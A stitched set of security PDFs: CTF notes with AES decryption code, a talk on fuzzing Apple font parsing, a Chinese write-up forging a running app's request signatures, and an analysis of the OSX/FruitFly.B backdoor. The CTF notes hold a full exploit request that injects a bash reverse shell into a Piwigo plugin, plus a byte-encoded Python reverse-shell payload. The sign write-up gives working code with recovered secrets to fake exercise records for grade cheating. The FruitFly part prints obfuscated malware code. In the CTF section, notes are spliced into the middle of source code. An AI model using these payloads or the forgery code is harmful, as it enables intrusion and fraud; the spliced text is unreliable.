s);                    aes_dump(" mix", s, 4 * g_aes_nb[mode]);               }           }            /* do AddRoundKey */            aes_add_round_key(mode, s, w, nr);            aes_dump(" round", &w[nr * 4 * g_aes_nb[mode]], 4 * g_aes_nb[mode]);            aes_dump(" state", s, 4 * g_aes_nb[mode]);       }        /* save state (cypher) to user buffer */        for (j = 0; j < 4 * g_aes_nb[mode]; j++)            data[i + j] = v[j] = s[j];   }    return 0; } void inv_shift_rows(AES_CYPHER_T mode, uint8_t *state) {    uint8_t *s = (uint8_t *)state;    int i, j, r;    uint8_t tmp[16]={0};    tmp[0] = s[0];    tmp[4] = s[4];    tmp[8] = s[8];    tmp[12] = s[12];    tmp[5] = s[1];    tmp[9] = s[5];    tmp[13] = s[9];    tmp[1] = s[13];    tmp[10] = s[2];    tmp[2] = s[10];    tmp[14] = s[6];    tmp[6] = s[14];    tmp[15] = s[3];    tmp[11] = s[15];    tmp[7] = s[11];    tmp[3] = s[7];    for(int i=0;i<16;i++)    s[i]=tmp[i]; } uint8_t inv_sub_sbox(uint8_t val) {    return g_inv_sbox[val]; } void inv_sub_bytes(AES_CYPHER_T mode, uint8_t *state) {    int i, j;    for (i = 0; i < g_aes_nb[mode]; i++) {        for (j = 0; j < 4; j++) {            state[i * 4 + j] = inv_sub_sbox(state[i * 4 + j]);       }   } } void inv_mix_columns(AES_CYPHER_T mode, uint8_t *state) {    uint8_t y[16] = { 0x0e, 0x0b, 0x0d, 0x09,  0x09, 0x0e, 0x0b, 0x0d,                      0x0d, 0x09, 0x0e, 0x0b,  0x0b, 0x0d, 0x09, 0x0e};    uint8_t s[4];    int i, j, r;    for (i = 0; i < g_aes_nb[mode]; i++) {        for (r = 0; r < 4; r++) {            s[r] = 0;            for (j = 0; j < 4; j++) {                s[r] = s[r] ^ aes_mul(state[i * 4 + j], y[r * 4 + j]);           }       }        for (r = 0; r < 4; r++) {            state[i * 4 + r] = s[r];       }   } } int aes_decrypt_cbc(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key, uint8_t *iv) {    uint8_t w[4 * 4 * 15] = {0}; /* round key */    uint8_t s[4 * 4] = {0}; /* state */    uint8_t v[4 * 4] = {0}; /* iv */    int nr, i, j;    /* key expansion */    aes_key_expansion(mode, key, w);    memcpy(v, iv, sizeof(v));    /* start data cypher loop over input buffer */    for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {        /* init state from user buffer (cyphertext) */        for (j = 0; j < 4 * g_aes_nb[mode]; j++)            s[j] = data[i + j];        /* start AES cypher loop over all AES rounds */        for (nr = g_aes_rounds[mode]; nr >= 0; nr--) {            aes_dump("input", s, 4 * g_aes_nb[mode]);            /* do AddRoundKey */            aes_add_round_key(mode, s, w, nr);            aes_dump(" round", &w[nr * 4 * g_aes_nb[mode]], 4 * g_aes_nb[mode]);            if (nr > 0) {                if (nr < g_aes_rounds[mode]) {                    aes_dump(" mix", s, 4 * g_aes_nb[mode]);                    /* do MixColumns */                    inv_mix_columns(mode, s);               }                /* do ShiftRows */                aes_dump(" shift", s, 4 * g_aes_nb[mode]);                inv_shift_rows(mode, s);                /* do SubBytes */                aes_dump(" sub", s, 4 * g_aes_nb[mode]);                inv_sub_bytes(mode, s);           }            aes_dump(" state", s, 4 * g_aes_nb[mode]);       }        /* save state (cypher) to user buffer */        for (j = 0; j < 4 * g_aes_nb[mode]; j++) {            uint8_t p = s[j] ^ v[j];            v[j] = data[i + j];            data[i + j] = p;       }   }    return 0; } int main() {    uint8_t buf[] = {0xd0,0x60,0xf7,0xc6,0x95,0x42,0x22,0xfd,0xe3,0x6b,0x7e,0x9c,0xa1,0xc9,0xd8,0xfa,0 xcf,0x82,0xc8,0x76,0xf8,0xcb,0x7c,0x6f,0xf8,0x7f,0x99,0x5a,0x12,0x62,0xc6,0xb6}; Web ez piwigo 账号admin/admin 插件LocalFiles Editor https://github.com/Piwigo/LocalFilesEditor/blob/96ddd392a14ae2caef3416b379c0868 610d2d15f/admin.php#L81 eval可控。    uint8_t key[] = { 0x54, 0x72, 0x61, 0x63, 0x65, 0x72, 0x50, 0x69, 0x64, 0x3A,0x09, 0x30, 0x0A, 0x66, 0x6C, 0x67 };    uint8_t iv[] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F};    printf("\nAES_CYPHER_128 encrypt test case:\n");    printf("Input:\n");    aes_dump("data", buf, sizeof(buf));    aes_dump("key ",  key, sizeof(key));    //aes_encrypt(AES_CYPHER_128, buf, sizeof(buf), key);    aes_decrypt_cbc(AES_CYPHER_128, buf, sizeof(buf), key ,iv);    for(int i=0;i<32;i++)   {        printf("%c",buf[i]);   }    // printf("\nAES_CYPHER_128 decrypt test case:\n");    // printf("Input:\n");    // aes_dump("data", buf, sizeof(buf));    // aes_dump("key ", key, sizeof(key));    // aes_decrypt(AES_CYPHER_128, buf, sizeof(buf), key); } POST /admin.php?page=plugin-LocalFilesEditor-localconf HTTP/1.1 Host: eci-2zeig9kfycb443785i0t.cloudeci1.ichunqiu.com Content-Length: 439 Cache-Control: max-age=0 Origin: http://eci-2zeig9kfycb443785i0t.cloudeci1.ichunqiu.com Upgrade-Insecure-Requests: 1 DNT: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySLu3QBFEM433Zyj2 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://eci-2zeig9kfycb443785i0t.cloudeci1.ichunqiu.com/admin.php? page=plugin-LocalFilesEditor Accept-Encoding: gzip, deflate Number Python3 unicode normalize的特性 Accept-Language: en-US,en;q=0.9,am;q=0.8,ar;q=0.7,zh-CN;q=0.6,zh;q=0.5 Cookie: __jsluid_h=7b3a366ce471710f04b06e0bfe87b2aa; pwg_id=popoomfi6kko344e1k36td7gf3; pwg_plugin_manager_view=tile Connection: close ------WebKitFormBoundarySLu3QBFEM433Zyj2 Content-Disposition: form-data; name="pwg_token" 950bfc3474c376c8ae3012c884ec8bc7 ------WebKitFormBoundarySLu3QBFEM433Zyj2 Content-Disposition: form-data; name="text" <?php }system("bash -c 'bash -i >& /dev/tcp/****/1234 0>&1'");{?> ------WebKitFormBoundarySLu3QBFEM433Zyj2 Content-Disposition: form-data; name="submit" Save file ------WebKitFormBoundarySLu3QBFEM433Zyj2-- Name=%F0%9D%91%92%F0%9D%91%A5%F0%9D%91%92%F0%9D%91%90(bytes([105])%2bbytes([109])% 2bbytes([112])%2bbytes([111])%2bbytes([114])%2bbytes([116])%2bbytes([32])%2bbytes( [111])%2bbytes([115])%2bbytes([59])%2bbytes([111])%2bbytes([115])%2bbytes([46])%2b bytes([115])%2bbytes([121])%2bbytes([115])%2bbytes([116])%2bbytes([101])%2bbytes([ 109])%2bbytes([40])%2bbytes([34])%2bbytes([98])%2bbytes([97])%2bbytes([115])%2bbyt es([104])%2bbytes([32])%2bbytes([45])%2bbytes([99])%2bbytes([32])%2bbytes([39])%2b bytes([101])%2bbytes([120])%2bbytes([101])%2bbytes([99])%2bbytes([32])%2bbytes([98 ])%2bbytes([97])%2bbytes([115])%2bbytes([104])%2bbytes([32])%2bbytes([45])%2bbytes ([105])%2bbytes([32])%2bbytes([38])%2bbytes([62])%2bbytes([47])%2bbytes([100])%2bb ytes([101])%2bbytes([118])%2bbytes([47])%2bbytes([116])%2bbytes([99])%2bbytes([112 ])%2bbytes([47])%2bbytes([52])%2bbytes([50])%2bbytes([46])%2bbytes([49])%2bbytes([ 57])%2bbytes([50])%2bbytes([46])%2bbytes([49])%2bbytes([51])%2bbytes([54])%2bbytes ([46])%2bbytes([49])%2bbytes([52])%2bbytes([56])%2bbytes([47])%2bbytes([49])%2bbyt es([50])%2bbytes([51])%2bbytes([52])%2bbytes([32])%2bbytes([60])%2bbytes([38])%2bb ytes([49])%2bbytes([39])%2bbytes([34])%2bbytes([41]))
pdf
一枚字体CRASH到FUZZING的探索 目录 CONTENTS 1、fuzzing的介绍 2、fuzzing这么好玩,就crash了 3、进阶!apple 字体处理框架的fuzzing 4、升级!fuzzing的探索与改造 5、继续fuzzing,收获漏洞! 0 1 PART 01 0 2 fuzzing的介绍 介绍 0 1 2020是个非常奇妙与难忘的一年,同样fuzzing技术在2020年技术井喷,涌现了一大批fuzzing工具和前沿的 研究; 在2020年的年终时候,我在知乎上对2020年的开源fuzzing做了一些总结与些许研究,一个开源的研究与项 目叫FormatFuzzer,这个项目的出现,让我想起了aflsmart的开源fuzzing项目,两者都是类似的文本结构 fuzzing,和aflsmart不同的是FormatFuzzer项目还处于开发阶段; 通过我对aflsmart fuzzing项目的熟悉,我决定以Formartfuzzer为契机来玩一下。 https://zhuanlan.zhihu.com/p/344008210 Formartfuzzer 0 1 Formartfuzzer项目地址: https://uds-se.github.io/FormatFuzzer/ PART 02 0 2 fuzzing这么好玩,就 crash了 Formartfuzzer 0 1 Formartfuzzer生成器 13种格式 Formartfuzzer 010 Editor bt模 板改 PNG GIF ........ AVI BMP 增加ttf bt 模板 ffcompile 编译器 生成 畸形 数据 ttf结构 0 1 1、9个table表必须出现在任何有效的 TrueType 字体文件中 2、这些表可以按任何顺序出现 3、30多个特殊的表 010 Editor ttf字体结构name视图 0 1 TTF 010 BT模板的改造 21 table的改写 0 1 pfp解 释器 010 editor的 bt模板 改造 ttf模板生成 器 字体fuzzing目标的选定 0 1 macos ? /System/Applications/Font Book.app/Contents/MacOS/Font Book ttf模板生成器生成畸形字体 通过Font Book打开? 0 1 fuzzing start ? 条件: 0 1 1、自动启动和关闭; 2、产生畸形数据 3、可以检测crash与保存crash fuzzing脚本: 0 1 #!/bin/bash for I in {1..200000};do ./ttf-fuzzer fuzz test.ttf sleep 1s ./test test.ttf & echo "sleep start\n" sleep 1s echo "kill start\n" ps -efww|grep -w 'Font'|grep -v grep|cut -c 7-17|xargs kill -9 done echo "over\n" exit 0 ttf字体 生成器 启动font book, crash检测保 存 0 1 经过24小时的fuzzing..... fuzzing这么好玩,就crash了 crash 字体分析 0 1 1、head.unitsPerEm = 0 (设置为 16 到 16384 之间的值。此范围内 的任何值均有效) 2、name.nameID = 1(字体系列) 以上设字体参数设置将会导致font book参数 异常,而引发崩溃 fuzzing这么好玩,就crash了 0 1 加入Formartfuzzer 自带变异算法,如 smart_replace、smart_delete、smart_insert、 smart_abstract、smart_swap,重新启用脚本fuzzing, 等待数天.jpg 2 x 24h fuzzing测试后...... 0 crash..... 0 1 思考 0 1 1、对于字体特殊的table组成,随机剪切、替换会引发很多无 效的数据; 2、没有有效的反馈,做了无用功; 3、是不是该做点fuzzing进阶了。 比如,apple字体框架是如何解析的?加入程序路径覆盖率反 馈等 PART 03 0 2 进阶!apple 字体处理框 架的fuzzing apple 字体处理框架 0 1 Core Text 是一种用于布局文本和处理字体的高级低等级技术。Core Text 直接与 Core Graphics (CG) 一起工 作,也称为 Quartz,它是一种高速图形渲染引擎,可在 OS X 和 iOS 的最低级别处理二维图像。 CoreText框架 0 1 基础框架: CTFrameSetter:相当于一个CTFrame工厂,来生产CTFrame,一个界面上可以有多个CTFrame; CTFrame:可以视为一个画布,范围是由CGPath(图形路径)来决定,其后的绘制是只在这个范围内绘制; CTLine:一个CTFrame由多个CTLine组成,一行就是一个CTLine; CTRun:一个CTLine是由一个或多个CTRun组成,可以理解为一个块,当一个CTLine中包含了多个 不同属性时,比如字体、颜色、Attachment等,都会通过CTRun将CTLine分隔开; apple 字体对象的创建 0 1 func CTFontCreateWithName(_ name: CFString, _ size: CGFloat, _ matrix: UnsafePointer<CGAffineTransform>?) -> CTFont CGFontRef CGFontCreateWithDataProvider(CGDataProviderRef provider); func CTFontCreateWithGraphicsFont(_ graphicsFont: CGFont, _ size: CGFloat, _ matrix: UnsafePointer<CGAffineTransform>?, _ attributes: CTFontDescriptor?) -> CTFont 创建字体属性字符串 0 1 Core Text 布局引擎通常使用属性字符串 ( CFAttributedStringRef) 和图形路径 ( CGPathRef)。属性字符串对 象封装了支持显示文本的字符串,并包括定义字符串中字符的风格方面的属性(或“属性”) CFMutableAttributedStringRef attributeRef = CFAttributedStringCreateMutable(kCFAllocatorDefault, 0); void CFAttributedStringSetAttribute(CFMutableAttributedStringRef attributeRef , CFRange range, CFStringRef attrName, CFTypeRef value); 从属性字符串创建一个不可变的 framesetter 对象 0 1 CTFramesetter是CTFrame对象的对象工厂。 framesetter 接受一个属性字符串对象和一个形状描述符对象,并调用排版器来创建填充该形状 的线条对象。输出是一个包含行数组的框架对象。然后框架可以将自身直接绘制到当前图形上 下文中。 func CTFramesetterCreateWithAttributedString(_ attrString: CFAttributedString) -> CTFramesetter 其他处理属性api: 0 1 1、CTLine : 一个CTLine对象包含一组字形运行。Line 对象由排版员在框架设置操作期间创建,并且可以将其自身直接绘 制到图形上下文中。 CTLineCreateWithAttributedString、CTLineDraw 2、CTTypesetter: 一个排版机,执行线路布局。 CTTypesetterCreateWithAttributedString 3、CTGlyphInfo: 覆盖字体从 Unicode 到字形 ID 的指定映射。 CTGlyphInfoCreateWithGlyph CTRunDraw google 轻量级动态插装库TinyInst 0 1 TinyInst 可在 Windows(32 位和 64 位)和 macOS(64 位)上使用,很快就有人将TinyInst移植到了 afl中,TinyInst主要是以inter xen为反汇编引擎为主做的指令级解析 fuzzing 进阶: Formartfuzzer + AFL + TinyInst ? -> apple font frame fuzzing start 条件: 0 1 1、自动启动和关闭; 2、产生畸形数据 3、可以检测crash与保存crash 4、可以获取程序路径覆盖率 2 x 24h fuzzing 测试后.... 1 crash get ..... 0 1 core text ttf越界写: 0 1 阶段性总结 0 1 Formartfuzzer 优缺点 1、可以依照改造的010 bt模板生成新的ttf字体(优点) 2、生成的数据过于随机化,细化度不够,缺乏可靠性 3、数据结构过于单一等 挖洞的思考:同样的fuzzing挖不同的攻击面,不同的fuzzing挖相同的攻击面,畸形数据多样性与可 靠性 PART 04 0 2 升级!fuzzing的探索与改 造 对比前: 0 1 aflsmart通过调用peach对输入图片数据进行解析->生成chunk数据,对chunk数据进行算法的变异,生成新的 有效畸形数据,对比Formartfuzzer通过定义010的bt版本模板,根据模板生成畸形数据,再加上算法对畸形 数据再一次变异 提出想法: 0 1 生成结构树,而结构树保存了输入字体的结构序列 输入ttf数 据 解析 生成 结构 树 结构树变异 生成新的 结构序列 的结构树 解析结构树,填 充数据 生 成 畸形 ttf 对比后: 0 1 aflsmart 输入 样本 peach解析 chunk数据 算法变异 畸形 数据 Formatfuzzer 输入 样本 生成结构树 模板生成器 结构树的作用? 1、通过依靠可用字体结构序列解决了Formartfuzzer依据bt模板生成数据的不可靠性,比如可以 解决SHORT、LONG、LONG LONG随机性过大造成实际数据的无效 2、通过提取了输入了有效字体的结构序列,可直接增强生成样本的多样性 3、可变异的结构序列 4、减轻bt模板对offset、length的计算等等 0 1 生成结构树: 结构树必须包含主要9个table的支持 0 1 结构树格式: 0 1 1、结构体成员: 1 -> 有此成员;0 -> 无 2、结构体子类数据: 1 : type : data if(data) { 1:type D: data } else { 0 } 结构树格式: 0 1 3、结构体父类到子类: 1 : type struc struc numberofContours -> endPtsOfContours[numberofContours ] 4、结构体子类到固定值: 1 :xxxxtype data 5、结构体父类到子类数组 4:type numb number 结构树视图: Table表如下: Head、 cmap、glyf 等等 0 1 ttf字体结构中的glyf 0 1 ttf字体结构中的cmap 0 1 0 1 提取结构树: 输入大量字体->结构树 重组与生成 两种生成方式:1、按照结构树去生成; 2、根据提供的结构树和具体 数据表来生成字体 变异: 1、对结构树变异->生成字体。 2、采用afl 算法对生成字体变异 和aflsmart统称 结构感知fuzzing fuzzing 升级与探索: Formartfuzzer + AFL + TinyInst + 结构树 ? -> apple font frame fuzzing start 条件: 0 1 1、自动启动和关闭; 2、产生畸形数据 3、可以检测crash与保存crash 4、可以获取程序路径覆盖率 5、输入语料库进行解析生成结构树 PART 05 0 2 继续fuzzing,收获漏洞! 收集ttf字体语料库 0 1 1、爬虫 爬虫网站主要是 :一些国外的字体网站 :www.dafont.com、www.fontsquirrel.com、 www.myfonts.com等 2、历史字体issue crash 3、云网盘下载字体集合 结果:2w+字体 策略 结构树总结 0 1 1、字体到结构树的生成 2、结构树结构序列化文件变异 3、ttf table拆分原始数据分类保存 4、结构树结构序列化ttf table拆分 5、拆分的ttf table重组等 6、afl 算法的加持 反复筛选与测试和重复率比对的fuzzing等等工作 0 1 最终整个工程fuzzing之旅收获约7个bugs 结果 0 1 对fuzzing的探索之旅还未结束,也许只是才开始....... 0 1 工程涉及部分源文件和poc可以在以下地址找到: https://github.com/sunglinl/ttffuzz 0 1 M A N O E U V R E 感谢观看! KCon 汇聚黑客的智慧
pdf
0x00前言 本期登场的目标虽不是SRC,但是整个漏洞的利用手法很有学习意义。目前在很多大厂的http数据包中 都会添加sign值对数据包是否被篡改进行校验,而sign算法的破解往往是我们漏洞测试的关键所在~ 本人在一些漏洞挖掘实战中经常发现在破解sign值后,在测试各类越权,重放等漏洞时一马平川 今天特此为大家带来这样一个精彩的实战案例。 0x01 背景 学校每学期的体育成绩中会有10%来源于某跑步APP的打卡数据,本人作为一个体测只能勉强及格的废 物,自然得想办法拿到这10分,以防挂科 无奈这个app后台设置的是每学期男生总共要求跑120公里才能完整地拿到10分,非常恶心。 一学期跑120公里,你还不如鲨了我,于是便有了此文对于其app的crack 0x02 初步测试 手机装好https证书,挂好Burpsuite的代理,随后我们直接去抓取该APP上传校园跑步数据时的请求 请求如下 我们发现单次跑步距离对应的POST参数为FormatSportRange,自然二话不说对其进行修改,将0.000 修改为5.000 此时悲剧发生了,直接提示认证失败~ 定神细看,发现POST数据末尾有sign签名.... 此时老开发或老安全肯定就知道发生甚么事了,为了让本文对新手友好一些,下面简单讲一下sign校验 手法 0x03 何为Sign签名校验? Sign签名校验法本质上是对客户端传输数据合法性的一种校验手段 其常用手法为,在用户客户端传输的数据中额外加上时间戳以及特殊字符,随后一起得出整体数据的加 密值(常用MD5,SHA1等加密算法) 这就导致了用户在不知晓程序的原始数据生成sign值的方法情况下,若对传输到服务端的数据进行篡 改,在后端都会鉴权失败,导致用户篡改后的数据无效。 0x04 sign值的安全对抗方法 针对有sign签名值的数据包,本人常用的测试手法有两个: 1.检测sign值是否为弱凭据 2.检测sign值是否可以置空 第一种类型通常有两种情况 ①看sign值是否采用了一些弱加密/编码方法(例如base64),我们解码后可以直接看到sign的原始数 据。 ②测试sign值是否为时间戳/随机数加密后的密文值,在一些实战情况中,很多厂商安全开发意识不 足,会将sign值的算法直接暴露在前端未加密的js中,或者直接将用户进行某操作的时间戳进行md5加 密后作为sign凭据,导致sign凭据在一段时间内可以通过遍历时间戳进行猜解 第二种类型就比较好理解,我们直接将sign参数以及值删掉,看后端程序是否可以不校验sign直接执行 我们传输的数据 上述概念可能看起来比较抽象,下面我们继续来看本案例 0x05 二次测试 我们先尝试第一种方法,上方添加跑步记录获取到的sign值为5ded7f11f080fb5a9d403c9d0963ebaa 拿眼一看,大概率sign值是使用md5加密的,我们随后对其进行解密 GG了,看样厂商的安全意识不算太差~没有使用时间戳或者随机数加密后的值作为sign,导致sign可以 被无脑遍历猜解 随后我们尝试第二种方法,置空sign值 发现依然鉴权认证失败,gg了。 看样两种常规的对抗sign的方法已经废了,我们只能从app下手了,逆向尝试去寻找其sign的算法 0x06 逆向apk文件取得其sign值算法 拿到程序apk直接查壳,运气不错,apk没加壳,省了不少功夫 直接将apk文件拖到jadx中,对其进行逆向分析 全局搜素sign,在仔细挨个查看后,成功定位到了其sign生成的关键算法 代码过长,关键部分代码如下 可以看到,其sign值的签名算法为 创建一个链表, 将全部已有的参数加入进去, 然后再加上一些键值对(其中timestamp时间戳我们已知, appID,appSecret两个键值对我们均未知) 之后再将全部的键值对根据键的字母顺序进行排序, 之后使用 querystring 方式对键值对进行编码. 最后再对编码后的字符串求 MD5 值, 就是最终的签名了, 麻烦的一比 0x07 继续逆向apk文件获取未知键值对 我们继续来找appID,appSecret两个我们未知的键值对 发现其获取方法如下 ①appID键值对的获取方法: 如果请求的url是 https://m.xxxxx.com 则为move,否则调用getAppId方法 后面我搜索了一下getAppId方法,发现其本质上是获取某接口openId的参数值,随后赋值给AppID 我去burpsuite走了一遍这个apk的业务,然后去http history搜索了一下openId,直接获取到了我们学校 的openId参数值,也就是说我们获取到了AppID ②appSceret键值对获取方法 在jadx中提示appSecre键t对应的值来源于g.b,我们在import的包中成功找到了g.b(即appSecret) 0x08 Nodejs编写计算sign的Exploit sign的算法已经有了,未知的键值对我们也拿到了,下面就是直接编写计算sign的exploit的时刻啦~ 我们选择用nodejs来还原整个sign的加密算法(注意,我们将formatSportRange跑步距离改为了5.003) var parseQueryString = function( url ){    var reg_url =/^[^\?]+\?([\w\W]+)$/,        reg_para=/([^&=]+)=([\w\W]*?)(&|$)/g, //g is very important        arr_url = reg_url.exec( url ),        ret        = {};    if( arr_url && arr_url[1] ){        var str_para = arr_url[1],result;        while((result = reg_para.exec(str_para)) != null){            ret[result[1]] = result[2];       }   }    return ret; } 大功告成,我们成功序列化queryString后计算出了sign值,我们现在可以篡改任意数据并根据算法生 成伪造的sign值 var url ="www.xxx.com/index.php? userId=34263&runType=2&startTime=1635573372448&endTime=1635573425940&gitudeLatit ude=%5B%7B%22latitude%22%3A34.383468%2C%22locationType%22%3A4%2C%22longitude%22% 3A108.976148%2C%22puase%22%3Afalse%2C%22speed%22%3A0.0%2C%22time%22%3A1635573372 480%7D%2C%7B%22latitude%22%3A34.383484%2C%22locationType%22%3A4%2C%22longitude%2 2%3A108.976155%2C%22puase%22%3Atrue%2C%22speed%22%3A0.0%2C%22time%22%3A163557337 3314%7D%2C%7B%22latitude%22%3A34.383489%2C%22locationType%22%3A2%2C%22longitude% 22%3A108.976155%2C%22puase%22%3Atrue%2C%22speed%22%3A1.55%2C%22time%22%3A1635573 378344%7D%2C%7B%22latitude%22%3A34.383408%2C%22locationType%22%3A2%2C%22longitud e%22%3A108.976193%2C%22puase%22%3Atrue%2C%22speed%22%3A1.55%2C%22time%22%3A16355 73398400%7D%2C%7B%22latitude%22%3A34.383479%2C%22locationType%22%3A2%2C%22longit ude%22%3A108.976152%2C%22puase%22%3Atrue%2C%22speed%22%3A1.55%2C%22time%22%3A163 5573418403%7D%5D&identify=12cc1557-f226-4d19-a01f- 58f492620818&formatSportTime=00%3A00%3A01&formatSportRange=5.003&avgspeed=0.0&sp eed=0%270%22&okPointList=%5B%5D&brand=Xiaomi&model=Mi%2010&system=Android&versio n=10&appVersion=1.5.73&stepNumbers=%5B0%5D&isFaceStatus=0&points=%5B%5D&uploadTy pe=0&timestamp=1635573451940"; var obj = parseQueryString(url); //console.log(obj)   //querystring序列化 const crypto = require('crypto') const APP_ID = "ec74df4f7ea14f1fb585bbc9f936fc23" const data = obj console.log(data) const timestamp = '1635573451940' function ff(data, timestamp, appId = APP_ID){  const d = { ...data, appId, timestamp: '1634356066432',appSecret: 'e8167ef026cbc5e456ab837d9d6d9254' }  const ans = crypto.createHash('md5').update(Object.keys(d).sort().map(k => k + '=' + d[k]).join('&')).digest('hex')  console.log("sign is",ans) } ff(data, timestamp, APP_ID) 0x09 测试 我们将原来的formatSportRange跑步距离改为了从0.000修改为5.003,并使用程序生成的sign值 如图,大功告成,跑步记录保存成功,我们成功使用伪造的sign签名增加了一条5.003 km的跑步记录 返回app查看~ nice! 0x10 后言 遇到可能的漏洞点莫要轻言放弃,再坚持一下,曙光就在前方~ 大家如果对“重生之我是赏金猎人”专栏感兴趣,欢迎大家多多关注奇安信攻防社区以及vx公众号-M78 安全团队
pdf
@patrickwardle OFFENSIVE MALWARE ANALYSIS dissecting osx/fruitfly via a custom c&c server WHOIS “leverages the best combination of humans and technology to discover security vulnerabilities in our customers’ web apps, mobile apps, IoT devices and infrastructure endpoints” security for the 21st century @patrickwardle OUTLINE fruitfly monitoring c&c server tasking trapping flies analyze OSX/FruitFly.B ...'smartly' THE GOAL command description 0 ? 1 ? 2 "take screen shot" "execute command #2" malware's commands build:
 custom C&C server spy.com steal (borrow?) other ppls access 1 task:
 the malware observe:
 the response 2 3 cmd #2 domain hijack OSX/FRUITFLY an intriguing backdoor initially discovered by malwarebytes OSX/FRUITFLY ('QUIMITCHIN') "New Mac backdoor using antiquated code" 
 -malwarebytes/thomas reed components (script, binary, etc) persistence (launch agent) capabilities } Virus Total submission(s) Jan 11th (0 detections) files procs cam mouse keys infection vector? trojan? email? web popup? variant ‘b’ OSX/FRUITFLY.B $ file fpsaud perl script text executable, ASCII text $ cat fpsaud #!/usr/bin/perl use strict;use warnings;use IO::Socket;use IPC::Open2;my$l;sub G{die if!defined syswrite$l,$_[0]}sub J{my($U, $A)=('','');while($_[0]>length$U){die if! sysread$l,$A,$_[0]-length$U;$U.=$A;}return$U;} sub O{unpack'V',J 4}sub N{J O}sub H{my$U=N; $U=~s/\\/\//g;$U}sub I{my$U=eval{my$C=`$_[0]`;chomp$C;$C};$U=''if! defined$U;$U;}sub K{$_[0]?v1:v0}sub Y{pack'V', $_[0]}sub B{pack'V2',$_[0]/2**32,$_[0]%2**32} sub Z{pack'V/a*',$_[0]}sub M{$_[0]^(v3 x length($_[0]))}my($h,@r)=split/ a/,M('11b36-301-;;2-45bdql-lwslk-hgjfbdql- pmgh`vg-hgjf');push@r,splice@r, 0,rand@r;my@e=();for my$B (split/ a/,M('1fg7kkb1nnhokb71jrmkb;rm`;kb1fplifeb1njg ule')){push@e,map $_.$B,split/a/,M(‘dql-lwslk- bdql-pmgh`vg-');}push@e,splice@e,0,rand@e; ... obfuscated perl?! } name: 'fpsaud' OSX/FruitFly.B submitted: 1/31 
 (0 AV detections) type: perl script mahalo @noarfromspace a brief triage OSX/FRUITFLY.B 'tell me your secretz' custom C&C server } address of c&c server(s) malware's protocol $ cat fpsaud.pretty #!/usr/bin/perl use IO::Socket; use IPC::Open2; sub G { die if !defined syswrite $l, $_[0] } ...
 for( my ( $x, $n, $q ) = ( 10, 0, 0 ) ; ; sleep $x) { ... the goal: need this info to build c&c server 'beautified' script subroutines main logic imports 'ok' a triage of subroutines OSX/FRUITFLY.B #send data sub G { die if !defined syswrite $l, $_[0] } #eval command sub I { my $U = eval { my $C = `$_[0]`; chomp $C; $C }; $U = '' if !defined $U; } #recv data sub J { my ( $U, $A ) = ( '', '' ); while ( $_[0] > length $U ) { die if !sysread $l, $A, $_[0] - length $U; $U .= $A; } return $U; } #XOR string sub M { $_[0] ^ ( v3 x length( $_[0] ) ) } name description B split & pack an integer E read bytes from process G send data to c&c server H read data from c&c server & format I eval() a string J read data from c&c server K check if variable it true M XOR string with '3' N read variable length data from c&c server O read 4 bytes (integer) from c&c server R close process handles S write data to file V save embedded binary to disk, then exec & pass parameters via stdin W read from file Y pack a 4-byte integer Z pack variable length data various subroutines osx/fruitfly.b's subroutines string decoding (c&c servers) OSX/FRUITFLY.B #decode c&c primary servers my ($h, @r) = split /a/, M(‘11b36-301-;;2-45bdql-lws...'); #decode c&c backup servers
 for my $B (split /a/, M('1fg7kkb1nnhokb71jrmkb;rm`;kb...')){ push @e, map $_ . $B, split /a/, M(‘dql-lwslk-bdql...’); } command description -d <script.pl> start a script under the debugger R restart n single step (over subroutines) s single step (into subroutines) p <variable> display value of a variable l <line #> display code at line number b <line #> set a breakpoint on line # B <line #> remove the breakpoint on line # T display 'stack'/caller backtrace $ perl -d .fpsaud main::(fpsaud:6): my $l; DB<1> n main::(fpsaud:39): my ( $h, @r ) = split /a/, main::(fpsaud:40): M(‘11b36-301-;;2-45bdql-lw… DB<1> n DB<1> p $h 22 DB<1> p @r xx.xx2.881.76 gro.otpoh.kdie gro.sndkcud.kdie decoding strings perl debugger commands $g = shift @r; push @r, $g; #connect to C&C server # $g: reversed C&C address / $h: C&C port $l = new IO::Socket::INET( PeerAddr => scalar( reverse $g ), PeerPort => $h, Proto => 'tcp', Timeout => 10); 67.188.2xx.xx
 eidk.hopto.org
 eidk.duckdns.org } port: 22 encoded strings connecting to C&C ($g/$h) primary C&C servers …cmdline options, process hiding, & decoding data OSX/FRUITFLY.B #save port, or addr:port if ( @ARGV == 1 ) { if ( $ARGV[0] =~ /^\d+$/ ) { $h = $ARGV[0] } elsif ( $ARGV[0] =~ /^([^:]+):(\d+)$/ ) { ( $h, @r ) = ( $2, scalar reverse $1 ); } } # 'change' process name $0 = 'java'; #before $ ps aux 2321 USER PID COMMAND user 2321 perl /Users/user/fpsaud #after $ ps aux 2321 USER PID COMMAND user 2321 java #decode embedded binary data my $u = join '', <DATA>; my $W = pack 'H*', 'b02607441aa086'; $W x= 1 + length($u) / length($W); $u ^= substr $W, 0, length $u; $u =~ s/\0(.)/v0 x(1+ord$1)/seg; __DATA__ ‹Í∫†á±%Eö¢Ü≤”F˙°Ü£B†Ñ¯&E«˜c]HÔ܆÷g†Ñ(&EÙ√Ër H͆ÇÄ& t•Å∞$D°Ü∂yX0ÿÚ∞/XNÂfi‰&π†Ü@&G=†ÉM.J†Ü0&... $ fpsaud <port> $ fpsaud <addr:port> process 'hiding' ..and 'ps' too 'perl' 'java' decoding binary data ...terminal is fooled protocol / control flow OSX/FRUITFLY.B #forever for ( ; ; ) { #send client data G v1 . Y(1143) . Y( $q ? 128 : 0 ) . Z( I('scutil --get LocalHostName’)) . Z( I('whoami') ); #get & process cmd for ( ; ; ) { my $D = ord J 1; if ( $D == 0 ) { } elsif ( $D == 2 ) { my ( $Z, $C ) = ( J 1 ); … } elsif ( $D == 47 ) { … } } } { 1143, 128 | 0, host name, user name } recv cmd execute cmd send 
